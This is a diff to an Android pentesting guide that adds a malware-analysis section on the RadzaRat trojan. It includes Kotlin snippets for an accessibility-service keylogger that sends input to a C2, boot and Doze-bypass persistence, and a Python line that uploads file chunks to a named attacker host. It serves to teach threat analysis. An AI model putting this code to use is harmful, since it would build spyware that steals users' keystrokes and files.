diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md
index 7e55967ef9f..3ec764e27fc 100644
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
@@ -54,6 +54,76 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
 java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 ```
 
+## Android Malware Tradecraft: Accessibility, Persistence & C2
+
+### Accessibility Service Abuse for Keylogging and UI Monitoring
+
+Recent Android RATs (e.g., RadzaRat) ship fake productivity apps that immediately prompt victims to enable a custom `AccessibilityService` (`MyAccessibilityService` declared with `BIND_ACCESSIBILITY_SERVICE`). Once granted, the service listens for `TYPE_VIEW_TEXT_CHANGED`, `TYPE_VIEW_TEXT_SELECTION_CHANGED`, and `TYPE_WINDOW_STATE_CHANGED`, letting operators keylog **any** app without root while capturing package names, view IDs, coordinates, and UI state.
+
+```kotlin
+class SpyService: AccessibilityService() {
+  override fun onAccessibilityEvent(e: AccessibilityEvent) {
+    if (e.eventType == TYPE_VIEW_TEXT_CHANGED && e.text.isNotEmpty()) {
+      val log = mapOf("pkg" to e.packageName, "text" to e.text.joinToString(""),
+        "viewId" to (e.source?.viewIdResourceName ?: ""))
+      sendToC2("keylog", log)
+    }
+  }
+}
+```
+
+Correlate the captured buffers with `TYPE_VIEW_FOCUSED` events to identify the active banking view before firing automated gestures.
+
+### Android Persistence via Boot Receivers, Foreground Services & Battery Optimization Bypass
+
+RadzaRat demonstrates that **no kernel exploit is required** to stay resident indefinitely:
+
+- `RECEIVE_BOOT_COMPLETED` + `RECEIVE_LOCKED_BOOT_COMPLETED` with a `BootReceiver` lets the malware start before the user unlocks the phone.
+- The receiver immediately launches a foreground data-sync service registered with `FOREGROUND_SERVICE`, `FOREGROUND_SERVICE_DATA_SYNC`, or even `FOREGROUND_SERVICE_MEDIA_PROJECTION` so Android treats it as high priority.
+- `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS` combined with `WAKE_LOCK` keeps logging/exfil tasks alive even under Doze.
+- A `DeviceAdminReceiver` (e.g., `MyDeviceAdminReceiver`) hardens removal: the RAT can prevent forced uninstalls or trigger lock/policy changes to re-prompt for credentials.
+
+```kotlin
+class BootReceiver: BroadcastReceiver() {
+  override fun onReceive(ctx: Context, intent: Intent) {
+    if (intent.action in setOf(ACTION_BOOT_COMPLETED, ACTION_LOCKED_BOOT_COMPLETED)) {
+      ctx.startForegroundService(Intent(ctx, SyncService::class.java))
+    }
+  }
+}
+```
+
+```kotlin
+fun requestDozeBypass(ctx: Context) {
+  val pm = ctx.getSystemService(PowerManager::class.java)
+  if (!pm.isIgnoringBatteryOptimizations(ctx.packageName)) {
+    val i = Intent(ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
+    i.data = Uri.parse("package:${ctx.packageName}")
+    ctx.startActivity(i.addFlags(FLAG_ACTIVITY_NEW_TASK))
+  }
+}
+```
+
+The above combo plus `SYSTEM_ALERT_WINDOW` overlays ensures the RAT auto-recovers after reboots, resists termination, and can socially-engineer users into granting every dangerous permission again if Android ever revokes them.
+
+### Low-Cost C2 & Chunked Large-Volume Storage Exfiltration
+
+RadzaRat’s operator only needed a free [Render.com](https://render.com) web service and a Telegram bot to achieve full remote control:
+
+1. The APK abuses `MANAGE_EXTERNAL_STORAGE` to enumerate gigabytes of shared files through its `FileManagerActivity` facade.
+2. Exfiltration is split into `/upload` (small objects) and `/upload_chunked` (multi-gig archives) HTTP endpoints hosted on Render (`telegram-bot-go-3hwv.onrender.com`, `telegram-bot-xftw.onrender.com`).
+3. Each chunk POST includes metadata such as `device_id`, `path`, `chunk_index`, and `sha256`, allowing 10+ GB transfers without raising single-request alerts.
+4. The backend forwards every chunk or keystroke to the operator via the Telegram Bot API (`sendDocument`, `sendMessage`), leveraging Telegram’s ubiquitous TLS traffic to blend in.
+
+```python
+files = {"chunk": open(part, "rb")}
+payload = {"device": d, "path": rel, "chunk_index": idx}
+requests.post("https://telegram-bot-xftw.onrender.com/upload_chunked",
+              data=payload, files=files, timeout=30)
+```
+
+Stacking `BIND_ACCESSIBILITY_SERVICE`, `SYSTEM_ALERT_WINDOW`, Device Admin, `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`, and `MANAGE_EXTERNAL_STORAGE` keeps the sideloaded RAT resilient while its Telegram Bot API C2 blends into ubiquitous TLS traffic.
+
 ## Case Studies & Vulnerabilities
 
 
@@ -874,5 +944,6 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
 - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
 - [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
+- [RadzaRat: New Android Trojan Disguised as File Manager Emerges with Zero Detection Rate](https://www.certosoftware.com/insights/radzarat-new-android-trojan-disguised-as-file-manager-emerges-with-zero-detection-rate/)
 
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